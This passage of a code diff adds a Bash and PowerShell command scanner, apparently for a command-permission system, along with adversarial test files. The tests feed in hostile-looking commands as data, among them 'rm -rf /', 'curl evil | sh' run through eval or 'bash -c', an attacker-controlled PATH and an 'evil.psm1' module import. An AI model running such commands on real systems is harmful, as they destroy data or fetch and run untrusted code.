"opaque") return result + nestedCommands.push(...result.commands.map(markNested)) + word += input.slice(index, substitution.end + 1) + index = substitution.end + } else { + if (char === "$" && /^\$\{[^}:@]+@P\}/.test(input.slice(index))) + return { kind: "opaque", reason: "dynamic-execution" } + if (char === "$" && /^\$\{\([^)]*e[^)]*\)/.test(input.slice(index))) + return { kind: "opaque", reason: "dynamic-execution" } + word += char + } + continue + } + if (char === "'") { + quote = "single" + wordStarted = true + if (!assignmentWord) assignmentHeadUnsafe = true + continue + } + if (char === '"') { + quote = "double" + wordStarted = true + if (!assignmentWord) assignmentHeadUnsafe = true + continue + } + if (char === "\\") { + if (index + 1 >= input.length) return { kind: "opaque", reason: "unterminated-escape" } + wordStarted = true + if (input[index + 1] === "\n") index++ + else { + if (!assignmentWord) assignmentHeadUnsafe = true + word += input[++index] + } + continue + } + if ((char === "$" && input[index + 1] === "(") || char === "`") { + const substitution = bashSubstitution(input, index) + if (!substitution || depth >= MAX_SUBSTITUTION_DEPTH) return { kind: "opaque", reason: "command-substitution" } + const result = scanBash(substitution.source, depth + 1) + if (result.kind === "opaque") return result + nestedCommands.push(...result.commands.map(markNested)) + wordStarted = true + word += input.slice(index, substitution.end + 1) + index = substitution.end + continue + } + if ((char === "<" || char === ">") && input[index + 1] === "(") { + const substitution = bashParenthesized(input, index + 1) + if (!substitution || depth >= MAX_SUBSTITUTION_DEPTH) return { kind: "opaque", reason: "command-substitution" } + const result = scanBash(substitution.source, depth + 1) + if (result.kind === "opaque") return result + nestedCommands.push(...result.commands.map(markNested)) + wordStarted = true + word += input.slice(index, substitution.end + 1) + index = substitution.end + continue + } + if (char === "$" && input[index + 1] === "{" && /^\$\{[^}:@]+@P\}/.test(input.slice(index))) + return { kind: "opaque", reason: "dynamic-execution" } + if (char === "$" && /^\$\{\([^)]*e[^)]*\)/.test(input.slice(index))) + return { kind: "opaque", reason: "dynamic-execution" } + if (char === "$" && input[index + 1] === "[") return { kind: "opaque", reason: "dynamic-execution" } + if (char === "<" && input[index + 1] === "<") heredoc = true + if (char === "#" && !wordStarted) { + finishCommand(index) + comment = index + const newline = input.indexOf("\n", index) + if (newline === -1) break + index = newline + segment = newline + 1 + continue + } + const redirect = "<>&".includes(char) + ? BASH_REDIRECTS.find((candidate) => input.startsWith(candidate, index)) + : undefined + if (redirect) { + hasRedirect = true + if (redirectTarget) invalidRedirect = true + if (wordStarted && /^\d+$/.test(word)) { + word = "" + wordStarted = false + } else finishWord() + redirectTarget = true + index += redirect.length - 1 + continue + } + if ("()".includes(char) || (char === "!" && !wordStarted)) compound = true + if (/\s/.test(char) && char !== "\n") { + finishWord() + continue + } + const next = input[index + 1] + const separator = + (char === "&" && next === "&") || (char === "|" && (next === "|" || next === "&")) + ? char + next + : char === ";" || char === "|" || char === "&" || char === "\n" + ? char + : undefined + if (separator) { + finishCommand(index, true) + if (redirectTarget) invalidRedirect = true + terminalBackground = separator === "&" || separator === ";" || separator === "\n" + index += separator.length - 1 + segment = index + 1 + continue + } + terminalBackground = false + wordStarted = true + if (char === "=" && !assignmentHeadUnsafe && /^[A-Za-z_][A-Za-z0-9_]*\+?$/.test(word)) assignmentWord = true + word += char + } + + if (quote) return { kind: "opaque", reason: "unterminated-quote" } + if (heredoc) return { kind: "opaque", reason: "heredoc" } + if (!terminalBackground && (comment === undefined || input.includes("\n", comment))) finishCommand(input.length) + if (redirectTarget) invalidRedirect = true + if (separated && !terminalBackground && comment === undefined && !input.slice(segment).trim()) invalidStructure = true + if (invalidStructure) return { kind: "opaque", reason: "invalid-structure" } + if (invalidRedirect) return { kind: "opaque", reason: "invalid-redirect" } + const conditional = bashConditionalCommands(commands) + if (conditional) commands.splice(0, commands.length, ...conditional) + if (compound || commands.some((command) => BASH_COMPOUND_KEYWORDS.has(command.words[0] ?? ""))) + return { kind: "opaque", reason: "compound-command" } + if (commands.some((command) => /[$`]/.test(command.words[0] ?? ""))) + return { kind: "opaque", reason: "dynamic-command-name" } + if (commands.some((command) => command.words[0]?.startsWith("="))) + return { kind: "opaque", reason: "dynamic-command-name" } + return { kind: "scanned", commands } +} + +function bashConditionalCommands(commands: Array<{ resource: string; words: string[] }>) { + if (commands[0]?.words[0] !== "if" || commands.at(-1)?.words[0] !== "fi") return + const keywords = new Set(["if", "then", "elif", "else", "fi"]) + if ( + commands.some((command) => BASH_COMPOUND_KEYWORDS.has(command.words[0] ?? "") && !keywords.has(command.words[0]!)) + ) + return + const normalized: Array<{ resource: string; words: string[] }> = [] + let phase: "condition" | "body" | "else" = "condition" + let hasCommand = false + let sawElse = false + for (const [index, command] of commands.entries()) { + const keyword = command.words[0] + if (!keywords.has(keyword ?? "")) { + normalized.push(command) + hasCommand = true + continue + } + const offset = command.resource.indexOf(keyword!) + keyword!.length + const inline = + command.words.length > 1 + ? { resource: command.resource.slice(offset).trim(), words: command.words.slice(1) } + : undefined + if (index === 0) { + if (inline) normalized.push(inline) + hasCommand = Boolean(inline) + continue + } + if (keyword === "then") { + if (phase !== "condition" || !hasCommand) return + phase = "body" + hasCommand = Boolean(inline) + } + if (keyword === "elif") { + if (phase !== "body" || !hasCommand || sawElse) return + phase = "condition" + hasCommand = Boolean(inline) + } + if (keyword === "else") { + if (phase !== "body" || !hasCommand || sawElse) return + phase = "else" + sawElse = true + hasCommand = Boolean(inline) + } + if (keyword === "fi") { + if (index !== commands.length - 1 || phase === "condition" || !hasCommand || inline) return + continue + } + if (inline) normalized.push(inline) + } + return normalized +} + +function bashLeadingGroup(input: string) { + const start = input.search(/\S/) + if (start < 0) return + if (input[start] === "{") { + const group = bashBraced(input, start) + if (!group) return + const source = group.source.trim() + if (!source.endsWith(";")) return + return { source: source.slice(0, -1), end: group.end } + } + if (input[start] !== "(") return + return bashParenthesized(input, start) +} + +function bashBraced(input: string, start: number) { + let quote: "single" | "double" | undefined + let level = 1 + for (let index = start + 1; index < input.length; index++) { + const char = input[index] + if (quote === "single") { + if (char === "'") quote = undefined + continue + } + if (char === "\\") { + index++ + continue + } + if (char === "'") { + quote = "single" + continue + } + if (char === '"') { + quote = quote === "double" ? undefined : "double" + continue + } + if (char === "{" && quote !== "double") level++ + if (char !== "}" || quote === "double" || --level) continue + return { source: input.slice(start + 1, index), end: index } + } +} + +function bashParenthesized(input: string, start: number) { + let quote: "single" | "double" | undefined + let level = 1 + for (let index = start + 1; index < input.length; index++) { + const char = input[index] + if (quote === "single") { + if (char === "'") quote = undefined + continue + } + if (char === "\\") { + index++ + continue + } + if (char === "'") { + quote = "single" + continue + } + if (char === '"') { + quote = quote === "double" ? undefined : "double" + continue + } + if (char === "(" && quote !== "double") level++ + if (char !== ")" || quote === "double" || --level) continue + return { source: input.slice(start + 1, index), end: index } + } +} + +function bashSubstitution(input: string, start: number) { + if (input[start] === "`") { + for (let index = start + 1; index < input.length; index++) { + if (input[index] === "\\") index++ + else if (input[index] === "`") return { source: input.slice(start + 1, index).replaceAll("\\`", "`"), end: index } + } + return + } + if (input.slice(start, start + 3) === "$((") return + let quote: "single" | "double" | undefined + let level = 1 + for (let index = start + 2; index < input.length; index++) { + const char = input[index] + if (quote === "single") { + if (char === "'") quote = undefined + continue + } + if (char === "\\") { + index++ + continue + } + if (char === "'") { + quote = "single" + continue + } + if (quote !== "double" && char === "#" && (index === start + 2 || /[\s;&|()]/.test(input[index - 1] ?? ""))) return + if (char === '"') { + quote = quote === "double" ? undefined : "double" + continue + } + if (char === "`" && quote !== "double") { + const nested = bashSubstitution(input, index) + if (!nested) return + index = nested.end + continue + } + if (quote === "double") { + if (char === "$" && input[index + 1] === "(") { + level++ + index++ + } else if (char === ")" && level > 1) level-- + continue + } + if (char === "(") level++ + if (char !== ")" || --level) continue + return { source: input.slice(start + 2, index), end: index } + } +} + +export function scanPowerShell(input: string): Result { + return scanPowerShellNested(input, 0) +} + +function scanPowerShellNested(input: string, depth: number): Result { + if (input.length > MAX_BASH_INPUT_LENGTH || depth >= MAX_SUBSTITUTION_DEPTH) + return { kind: "opaque", reason: "invalid-structure" } + const commands: Array<{ resource: string; words: string[] }> = [] + const nestedCommands: Array<{ resource: string; words: string[] }> = [] + const words: string[] = [] + let segment = 0 + let word = "" + let started = false + let quote: "single" | "double" | undefined + let dynamic = false + let invalid = false + let redirectTarget = false + let comment = false + let separated = false + let dangling = false + + const finishWord = () => { + if (!started) return + if (!redirectTarget) words.push(word) + redirectTarget = false + word = "" + started = false + } + const finishCommand = (end: number, boundary = false) => { + finishWord() + const resource = input.slice(segment, end).trim() + if (resource) commands.push({ resource, words: [...words] }) + else if (boundary && separated) invalid = true + commands.push(...nestedCommands.splice(0)) + words.length = 0 + separated ||= Boolean(resource) + } + + for (let index = 0; index < input.length; index++) { + const char = input[index] + if (quote) { + started = true + if (quote === "single" && char === "'" && input[index + 1] === "'") { + word += "'" + index++ + } else if ((quote === "single" && char === "'") || (quote === "double" && char === '"')) quote = undefined + else if (char === "`" && index + 1 < input.length) word += input[++index] + else { + if (quote === "double" && char === "$" && input[index + 1] === "(") dynamic = true + word += char + } + continue + } + if (char === "'" || char === '"') { + quote = char === "'" ? "single" : "double" + started = true + continue + } + if (char === "`" && index + 1 < input.length) { + if (input[index + 1] === "\r" || input[index + 1] === "\n") return { kind: "opaque", reason: "invalid-structure" } + if (";&|".includes(input[index + 1])) return { kind: "opaque", reason: "invalid-structure" } + if (words.length === 0) dynamic = true + started = true + word += input[++index] + continue + } + if (char === "`") return { kind: "opaque", reason: "unterminated-escape" } + if (char === "<" && input[index + 1] === "#") return { kind: "opaque", reason: "dynamic-execution" } + if (char === "#" && !started) { + if (/^#requires\b/i.test(input.slice(index))) return { kind: "opaque", reason: "dynamic-execution" } + finishCommand(index) + comment = true + const endings = [input.indexOf("\n", index), input.indexOf("\r", index)].filter((ending) => ending >= 0) + const newline = endings.length > 0 ? Math.min(...endings) : -1 + if (newline === -1) break + comment = false + index = input[newline] === "\r" && input[newline + 1] === "\n" ? newline + 1 : newline + segment = newline + 1 + continue + } + const redirect = + char === ">" || (!started && (char === "*" || /\d/.test(char))) ? powerShellRedirect(input, index) : undefined + if (redirect) { + finishWord() + redirectTarget = !redirect.includes("&") + index += redirect.length - 1 + continue + } + if (char === "{" && !started) { + const block = powerShellBlock(input, index) + if (!block) return { kind: "opaque", reason: "invalid-structure" } + const result = scanPowerShellNested(block.source, depth + 1) + if (result.kind === "opaque") return result + nestedCommands.push(...result.commands.map(markNested)) + started = true + word += input.slice(index, block.end + 1) + index = block.end + continue + } + if (char === "}") return { kind: "opaque", reason: "invalid-structure" } + if (char === "&" && !started && words.length === 0) continue + if (char === "." && !started && words.length === 0 && (/\s/.test(input[index + 1] ?? "") || !input[index + 1])) + continue + if ("@()".includes(char)) dynamic = true + if (/\s/.test(char) && char !== "\n" && char !== "\r") { + finishWord() + continue + } + const next = input[index + 1] + const separator = + char === "\r" && next === "\n" + ? char + next + : (char === "&" && next === "&") || (char === "|" && next === "|") + ? char + next + : char === ";" || char === "|" || char === "&" || char === "\n" || char === "\r" + ? char + : undefined + if (separator) { + finishCommand(index, true) + if (redirectTarget) invalid = true + dangling = ![";", "&", "\n", "\r", "\r\n"].includes(separator) + index += separator.length - 1 + segment = separator === "&" ? index : index + 1 + continue + } + started = true + dangling = false + word += char + } + + if (quote) return { kind: "opaque", reason: "unterminated-quote" } + if (!comment) finishCommand(input.length) + if (redirectTarget || invalid || dangling) return { kind: "opaque", reason: "invalid-structure" } + const reason = dynamic + ? "dynamic-execution" + : commands.reduce( + (result, command) => result ?? powerShellOpaqueReason(command), + undefined, + ) + if (reason) return { kind: "opaque", reason } + return { kind: "scanned", commands } +} + +function powerShellBlock(input: string, start: number) { + let quote: "single" | "double" | undefined + let level = 1 + for (let index = start + 1; index < input.length; index++) { + const char = input[index] + if (quote === "single") { + if (char === "'" && input[index + 1] === "'") index++ + else if (char === "'") quote = undefined + continue + } + if (char === "`") { + index++ + continue + } + if (char === "#" && quote !== "double") { + const newline = input.indexOf("\n", index) + if (newline < 0) return + index = newline + continue + } + if (char === "<" && input[index + 1] === "#" && quote !== "double") { + const end = input.indexOf("#>", index + 2) + if (end < 0) return + index = end + 1 + continue + } + if (char === "'") { + quote = "single" + continue + } + if (char === '"') { + quote = quote === "double" ? undefined : "double" + continue + } + if (char === "{" && quote !== "double") level++ + if (char !== "}" || quote === "double" || --level) continue + return { source: input.slice(start + 1, index), end: index } + } +} + +function shellCommandName(word: string | undefined) { + const value = (word ?? "").toLowerCase() + return value.slice(Math.max(value.lastIndexOf("/"), value.lastIndexOf("\\")) + 1) +} + +function powerShellOpaqueReason(command: Command): OpaqueReason | undefined { + const head = command.words[0] ?? "" + if ( + (head.includes("\\") && + !/^[A-Za-z]:\\/.test(head) && + !/^[A-Za-z_][A-Za-z0-9_.-]*\\[A-Za-z_][A-Za-z0-9_.-]*$/.test(head)) || + head.includes("$") || + head.includes("@") + ) + return "dynamic-execution" + + const name = shellCommandName(head) + if (["return", "throw", "exit", "break", "continue"].includes(name) && command.words.length > 1) + return "dynamic-execution" + if (!POWERSHELL_LOCATIONS.has(name)) return + if ( + command.words.some( + (word, index) => + index > 0 && + (word.includes("(") || + (word.includes("$") && !knownPowerShellDirectory(word)) || + (/^[A-Za-z]+:/.test(word) && !/^[A-Za-z]:[\\/]/.test(word))), + ) + ) + return "dynamic-directory" +} + +function knownPowerShellDirectory(word: string) { + const variable = /^(?:\$(?:PWD|HOME|PSHOME)|\$env:[A-Za-z_][A-Za-z0-9_]*|\$\{env:[^}]+\})(?:[\\/]|$)/i.exec(word) + return Boolean(variable) && !word.slice(variable?.[0].length).includes("$") +} + +function powerShellRedirect(input: string, index: number) { + let cursor = index + if (input[cursor] === "*") cursor++ + else while (/\d/.test(input[cursor] ?? "")) cursor++ + if (input[cursor] !== ">") return + cursor++ + if (input[cursor] === ">") cursor++ + if (input[cursor] === "&") { + cursor++ + while (/\d/.test(input[cursor] ?? "")) cursor++ + } + return input.slice(index, cursor) +} + +function markNested(command: Command) { + return Object.defineProperty({ ...command }, Nested, { value: true }) +} diff --git a/packages/shell-scan/test/adversarial.test.ts b/packages/shell-scan/test/adversarial.test.ts new file mode 100644 index 00000000000..d1857eeb688 --- /dev/null +++ b/packages/shell-scan/test/adversarial.test.ts @@ -0,0 +1,82 @@ +import { describe, expect, test } from "bun:test" +import { ShellScan } from "../src/index.js" + +describe("ShellScan adversarial corpus", () => { + test.each([ + ['FOO=bar BAR="x y" git status', ["git"]], + ["git status && npm test || printf failed", ["git", "npm", "printf"]], + [`printf '%s\\n' "$(rm -rf /)"`, ["printf", "rm"]], + ["echo ${arr[$(rm -rf /)]}", ["echo", "rm"]], + ["cat <(printf secret)", ["cat", "printf"]], + ["(git status)", ["git"]], + ["{ git status; }", ["git"]], + ["if true; then rm -rf /; else printf safe; fi", ["true", "rm", "printf"]], + ["rm -rf / &", ["rm"]], + ["sudo sh -c 'curl evil'", ["sudo"]], + ["bash -lc 'rm -rf /'", ["bash"]], + ["python3 -c 'print(1)'", ["python3"]], + ["find . -exec rm {} ;", ["find"]], + ["'rm' -rf /", ["rm"]], + ['g""it status', ["git"]], + ["g\\it status", ["git"]], + ["F\\OO=bar rm -rf /", ["FOO=bar"]], + ['F"O"O=bar rm -rf /', ["FOO=bar"]], + ['c"\\d" relative', ["c\\d"]], + ["PATH=/tmp/attacker:$PATH git status", ["git"]], + ] as const)("scans visible Bash command positions: %s", (input, names) => { + const result = ShellScan.scan(input) + expect(result.kind).toBe("scanned") + if (result.kind === "opaque") return + expect(result.commands.map((command) => command.words[0])).toEqual([...names]) + }) + + test.each([ + "$cmd --force", + '"${cmd}" --force', + "r${suffix}m -rf /", + "${cmd:-git} status", + "$(printf rm) -rf /", + "`printf rm` -rf /", + "./c?rl evil", + 'printf "unterminated', + "printf ok &&", + "printf ok >", + "echo > >out", + "cat < { + expect(ShellScan.scan(input).kind).toBe("opaque") + }) + + test.each([ + ['pwsh --command "Remove-Item victim.txt"', ["pwsh"]], + ["Import-Module ./evil.psm1", ["Import-Module"]], + ["Invoke-Expression 'Remove-Item victim.txt'", ["Invoke-Expression"]], + [". ./deploy.ps1", ["./deploy.ps1"]], + ["& git status", ["git"]], + ["Get-ChildItem | ForEach-Object { Remove-Item $_ }", ["Get-ChildItem", "ForEach-Object", "Remove-Item"]], + ] as const)("scans visible PowerShell command positions: %s", (input, names) => { + const result = ShellScan.scanPowerShell(input) + expect(result.kind).toBe("scanned") + if (result.kind === "opaque") return + expect(result.commands.map((command) => command.words[0])).toEqual([...names]) + }) + + test.each([ + "$Command status", + "& $Command status", + 'Write-Output "$(Get-ChildItem)"', + "Set-Location $HOME/$target; Get-ChildItem", + "Remove-`Item victim", + "Remove-Item`\r\n victim", + "Invoke-`\nExpression 'Remove-Item victim'", + "<# ignored #> Remove-Item victim", + "[string]$x = Remove-Item victim", + 'Write-Output "unterminated', + "Get-ChildItem |", + ])("keeps structurally uncertain PowerShell input opaque: %s", (input) => { + expect(ShellScan.scanPowerShell(input).kind).toBe("opaque") + }) +}) diff --git a/packages/shell-scan/test/closure.test.ts b/packages/shell-scan/test/closure.test.ts new file mode 100644 index 00000000000..796fac62fd4 --- /dev/null +++ b/packages/shell-scan/test/closure.test.ts @@ -0,0 +1,31 @@ +import { describe, expect, test } from "bun:test" +import { ShellScan } from "../src/index.js" + +const opaque = ["$COMMAND hidden", "$(printf command) hidden", 'printf "unterminated'] as const +const contexts = [ + (source: string) => source, + (source: string) => `${source}; printf visible`, + (source: string) => `printf visible; ${source}`, + (source: string) => `${source} && printf visible`, + (source: string) => `printf visible || ${source}`, + (source: string) => `printf "$(${source})"`, + (source: string) => `X=$(${source}) printf visible`, + (source: string) => `printf visible >$(${source})`, +] as const + +describe("ShellScan recursive structural opacity", () => { + for (const seed of opaque) { + for (const outer of contexts) { + for (const inner of contexts.slice(0, 5)) { + const source = outer(inner(seed)) + test(source, () => expect(ShellScan.scan(source).kind).toBe("opaque")) + } + } + } +}) + +describe("ShellScan quote suppression", () => { + test.each([...opaque])("single quotes suppress active syntax: %s", (source) => { + expect(ShellScan.scan(`printf '%s' '${source.replaceAll("'", "")}'`).kind).toBe("scanned") + }) +}) diff --git a/packages/shell-scan/test/generated.test.ts b/packages/shell-scan/test/generated.test.ts new file mode 100644 index 00000000000..881d611a0ee --- /dev/null +++ b/packages/shell-scan/test/generated.test.ts @@ -0,0 +1,189 @@ +import { describe, expect, test } from "bun:test" +import { ShellScan } from "../src/index.js" + +const staticCommands = [ + ["git status", ["git", "status"]], + ["printf ok", ["printf", "ok"]], + ["curl example.com", ["curl", "example.com"]], +] as const + +describe("ShellScan generated properties", () => { + test("decomposes every combination of static commands and separators", () => { + const separators = [" ; ", " && ", " || ", " | ", " |& ", "\n"] + + for (const [left, leftWords] of staticCommands) { + for (const separator of separators) { + for (const [right, rightWords] of staticCommands) { + expect(ShellScan.scan(left + separator + right)).toEqual({ + kind: "scanned", + commands: [ + { resource: left, words: [...leftWords] }, + { resource: right, words: [...rightWords] }, + ], + }) + } + } + } + }) + + test("keeps quoted and escaped separators in arguments", () => { + const literals = [";", "|", "&", "#", "<", ">"] + const forms = literals.flatMap((literal) => [ + { source: `'left${literal}right'`, word: `left${literal}right` }, + { source: `"left${literal}right"`, word: `left${literal}right` }, + { source: `left\\${literal}right`, word: `left${literal}right` }, + ]) + + for (const form of forms) { + expect(ShellScan.scan(`printf %s ${form.source}`)).toEqual({ + kind: "scanned", + commands: [{ resource: `printf %s ${form.source}`, words: ["printf", "%s", form.word] }], + }) + } + }) + + test("fails closed when valid commands are mutated with malformed syntax", () => { + const mutate = [ + (command: string) => `${command} "unterminated`, + (command: string) => `${command} 'unterminated`, + (command: string) => `${command} \\`, + (command: string) => `${command} &&`, + (command: string) => `| ${command}`, + (command: string) => `${command} || || printf reached`, + (command: string) => `${command} >`, + (command: string) => `${command} > > output`, + ] + + for (const [command] of staticCommands) { + for (const mutation of mutate) expect(ShellScan.scan(mutation(command)).kind).toBe("opaque") + } + }) + + test("fails closed for generated dynamic command heads", () => { + const heads = ["$COMMAND", "${COMMAND}", "pre$COMMAND", '"$COMMAND"', "$(printf git)", "`printf git`"] + const tails = ["status", "--version", "-rf /"] + + for (const head of heads) { + for (const tail of tails) expect(ShellScan.scan(`${head} ${tail}`).kind).toBe("opaque") + } + }) + + test("keeps wrappers and shell evaluators at their delegated boundary", () => { + const prefixes = ["", "FOO=bar ", "FOO=bar BAR=baz "] + const wrapped = [ + "time git status", + "command git status", + "builtin printf ok", + "exec git status", + "env FOO=bar git status", + "sudo git status", + "nice git status", + "nohup git status", + "xargs rm", + "source ./script.sh", + ". ./script.sh", + "trap 'git status' EXIT", + "eval 'git status'", + "bash -c 'git status'", + "/bin/sh ./script.sh", + ] + + for (const prefix of prefixes) { + for (const command of wrapped) expect(ShellScan.scan(prefix + command).kind).toBe("scanned") + } + }) +}) + +describe("ShellScan generated PowerShell properties", () => { + test("decomposes every combination of static commands and separators", () => { + const commands = [ + ["Get-ChildItem", ["Get-ChildItem"]], + ["Write-Output ok", ["Write-Output", "ok"]], + ["Get-Content input.txt", ["Get-Content", "input.txt"]], + ] as const + const separators = ["; ", " | ", "\n"] + + for (const [left, leftWords] of commands) { + for (const separator of separators) { + for (const [right, rightWords] of commands) { + expect(ShellScan.scanPowerShell(left + separator + right)).toEqual({ + kind: "scanned", + commands: [ + { resource: left, words: [...leftWords] }, + { resource: right, words: [...rightWords] }, + ], + }) + } + } + } + }) + + test("keeps quoted and escaped separators in arguments", () => { + const literals = [";", "|", "&", "#", "<", ">"] + const forms = literals.flatMap((literal) => [ + { source: `'left${literal}right'`, word: `left${literal}right` }, + { source: `"left${literal}right"`, word: `left${literal}right` }, + { source: `left\`${literal}right`, word: `left${literal}right` }, + ]) + + for (const form of forms) { + if (form.source.startsWith("left`") && ";|&".includes(form.word[4] ?? "")) { + expect(ShellScan.scanPowerShell(`Write-Output ${form.source}`)).toEqual({ + kind: "opaque", + reason: "invalid-structure", + }) + continue + } + expect(ShellScan.scanPowerShell(`Write-Output ${form.source}`)).toEqual({ + kind: "scanned", + commands: [{ resource: `Write-Output ${form.source}`, words: ["Write-Output", form.word] }], + }) + } + }) + + test("fails closed when valid commands are mutated with malformed syntax", () => { + const mutations = [ + 'Write-Output ok "unterminated', + "Write-Output ok 'unterminated", + "Write-Output ok`", + "Write-Output ok |", + "Write-Output ok || || Write-Output reached", + "Write-Output ok >", + ] + + for (const command of mutations) expect(ShellScan.scanPowerShell(command).kind).toBe("opaque") + }) + + test("distinguishes dynamic heads from delegated execution", () => { + const dynamic = ["$Command status", "${Command} status", "& $Command status"] + const delegated = [ + "& git status", + ". ./script.ps1", + "Invoke-Expression 'git status'", + "iex 'git status'", + "Import-Module ./module.psm1", + "./script.ps1 -Force", + ] + const shells = ["powershell", "powershell.exe", "pwsh", "pwsh.exe"] + const switches = ["-Command", "-c", "-EncodedCommand", "-e", "-File", "-f"] + + for (const command of dynamic) expect(ShellScan.scanPowerShell(command).kind).toBe("opaque") + for (const command of delegated) expect(ShellScan.scanPowerShell(command).kind).toBe("scanned") + for (const shell of shells) { + for (const flag of switches) { + expect(ShellScan.scanPowerShell(`${shell} ${flag} 'git status'`).kind).toBe("scanned") + } + } + }) + + test("fails closed for dynamic location changes but accepts known directory variables", () => { + const locations = ["Set-Location", "cd", "chdir", "sl", "Push-Location"] + const dynamic = ["$target", "$(Resolve-Path ..)", "(Resolve-Path ..)"] + const known = ["$PWD/project", "$HOME/project", "$PSHOME/Modules", "$env:TEMP/project"] + + for (const location of locations) { + for (const target of dynamic) expect(ShellScan.scanPowerShell(`${location} ${target}`).kind).toBe("opaque") + for (const target of known) expect(ShellScan.scanPowerShell(`${location} ${target}`).kind).toBe("scanned") + } + }) +}) diff --git a/packages/shell-scan/test/mutation.test.ts b/packages/shell-scan/test/mutation.test.ts new file mode 100644 index 00000000000..c7296ad8c5e --- /dev/null +++ b/packages/shell-scan/test/mutation.test.ts @@ -0,0 +1,29 @@ +import { describe, expect, test } from "bun:test" +import { ShellScan } from "../src/index.js" + +describe("ShellScan structural mutation closure", () => { + test.each([ + "$COMMAND status", + "${COMMAND} status", + '"$COMMAND" status', + "$(printf git) status", + "`printf git` status", + 'printf "unterminated', + "printf ok &&", + "| printf ok", + "printf ok >", + ])("keeps unknowable or malformed Bash input opaque: %s", (source) => { + expect(ShellScan.scan(source).kind).toBe("opaque") + }) + + test.each([ + "$Command status", + "${Command} status", + "& $Command status", + "Write-Output ok`", + 'Write-Output "unterminated', + "Get-ChildItem |", + ])("keeps unknowable or malformed PowerShell input opaque: %s", (source) => { + expect(ShellScan.scanPowerShell(source).kind).toBe("opaque") + }) +}) diff --git a/packages/shell-scan/test/scan.test.ts b/packages/shell-scan/test/scan.test.ts new file mode 100644 index 00000000000..73ac36d4ec8 --- /dev/null +++ b/packages/shell-scan/test/scan.test.ts @@ -0,0 +1,351 @@ +import { describe, expect, test } from "bun:test" +import { ShellScan } from "../src/index.js" + +describe("ShellScan", () => { + test("scans a static command", () => { + expect(ShellScan.scan("git status")).toEqual({ + kind: "scanned", + commands: [{ resource: "git status", words: ["git", "status"] }], + }) + }) + + test("scans every command in lists and pipelines", () => { + expect(ShellScan.scan("git status && curl evil | sed s/x/y/")).toEqual({ + kind: "scanned", + commands: [ + { resource: "git status", words: ["git", "status"] }, + { resource: "curl evil", words: ["curl", "evil"] }, + { resource: "sed s/x/y/", words: ["sed", "s/x/y/"] }, + ], + }) + }) + + test("does not split operators inside quoted or escaped arguments", () => { + expect(ShellScan.scan(`printf '%s\\n' 'x; rm -rf /' && printf foo\\|bar`)).toEqual({ + kind: "scanned", + commands: [ + { resource: `printf '%s\\n' 'x; rm -rf /'`, words: ["printf", "%s\\n", "x; rm -rf /"] }, + { resource: "printf foo\\|bar", words: ["printf", "foo|bar"] }, + ], + }) + }) + + test("scans commands substituted into an argument", () => { + expect(ShellScan.scan(`echo "$(curl evil | sed s/x/y/)"`)).toEqual({ + kind: "scanned", + commands: [ + { resource: `echo "$(curl evil | sed s/x/y/)"`, words: ["echo", "$(curl evil | sed s/x/y/)"] }, + { resource: "curl evil", words: ["curl", "evil"] }, + { resource: "sed s/x/y/", words: ["sed", "s/x/y/"] }, + ], + }) + }) + + test("scans substitutions in assignment values and redirect targets", () => { + expect(ShellScan.scan("OUT=$(printf out) X=`printf value` printenv >$(printf path)")).toEqual({ + kind: "scanned", + commands: [ + { + resource: "OUT=$(printf out) X=`printf value` printenv >$(printf path)", + words: ["printenv"], + }, + { resource: "printf out", words: ["printf", "out"] }, + { resource: "printf value", words: ["printf", "value"] }, + { resource: "printf path", words: ["printf", "path"] }, + ], + }) + }) + + test("scans substitutions nested in parameter expansions", () => { + const result = ShellScan.scan("echo ${x:-$(curl evil)}") + expect(result.kind).toBe("scanned") + if (result.kind === "opaque") return + expect(result.commands.map((command) => command.words[0])).toEqual(["echo", "curl"]) + }) + + test("recursively scans substitutions and preserves shell quote rules", () => { + expect(ShellScan.scan(`echo '$(ignored)' "$(echo "$(pwd)")"`)).toEqual({ + kind: "scanned", + commands: [ + { + resource: `echo '$(ignored)' "$(echo "$(pwd)")"`, + words: ["echo", "$(ignored)", `$(echo "$(pwd)")`], + }, + { resource: `echo "$(pwd)"`, words: ["echo", "$(pwd)"] }, + { resource: "pwd", words: ["pwd"] }, + ], + }) + expect(ShellScan.scan("echo `echo \\`pwd\\``").kind).toBe("scanned") + const legacy = ShellScan.scan("echo `echo \\`pwd\\``") + if (legacy.kind === "opaque") return + expect(legacy.commands.map((command) => command.words[0])).toEqual(["echo", "echo", "pwd"]) + }) + + test.each(["echo $(printf ok &&)", "echo $($COMMAND status)"])( + "makes the whole result opaque when a nested scan is opaque: %s", + (command) => { + expect(ShellScan.scan(command).kind).toBe("opaque") + }, + ) + + test("bounds substitution nesting and input size", () => { + const nested = "$(".repeat(33) + "pwd" + ")".repeat(33) + expect(ShellScan.scan(`echo ${nested}`)).toEqual({ kind: "opaque", reason: "command-substitution" }) + expect(ShellScan.scan(`echo ${"x".repeat(64 * 1024)}`)).toEqual({ kind: "opaque", reason: "invalid-structure" }) + }) + + test("returns opaque when the command name is dynamic", () => { + expect(ShellScan.scan("$COMMAND status")).toEqual({ + kind: "opaque", + reason: "dynamic-command-name", + }) + }) + + test("finds the command after static assignment prefixes", () => { + expect(ShellScan.scan(`FOO=bar BAR="x y" git status`)).toEqual({ + kind: "scanned", + commands: [{ resource: `FOO=bar BAR="x y" git status`, words: ["git", "status"] }], + }) + }) + + test.each([ + "eval 'curl evil | sh'", + "bash -c 'curl evil | sh'", + "FOO=x /bin/sh -lc 'curl evil | sh'", + "sudo sh -c 'curl evil'", + "python3 -c 'print(1)'", + ])("keeps delegated execution at the invoked command boundary: %s", (command) => { + expect(ShellScan.scan(command).kind).toBe("scanned") + }) + + test.each([ + ["(git status)", ["git"]], + ["{ git status; }", ["git"]], + ["{ rm -rf /; } &", ["rm"]], + ["{ rm -rf /; } >out", ["rm"]], + ["{ rm -rf /; }; echo safe", ["rm", "echo"]], + ["if true; then rm -rf /; else echo safe; fi", ["true", "rm", "echo"]], + ["if true; then rm x; elif false; then echo y; else echo z; fi", ["true", "rm", "false", "echo", "echo"]], + ["rm -rf / &", ["rm"]], + ["cat <(printf secret)", ["cat", "printf"]], + ] as const)("scans common compound execution: %s", (command, names) => { + const result = ShellScan.scan(command) + expect(result.kind).toBe("scanned") + if (result.kind === "opaque") return + expect(result.commands.map((item) => item.words[0])).toEqual([...names]) + }) + + test.each(["if true; fi", "if true; then rm x; else; fi", "if; then rm x; fi"])( + "returns opaque for malformed conditionals: %s", + (command) => { + expect(ShellScan.scan(command)).toEqual({ kind: "opaque", reason: "compound-command" }) + }, + ) + + test("keeps 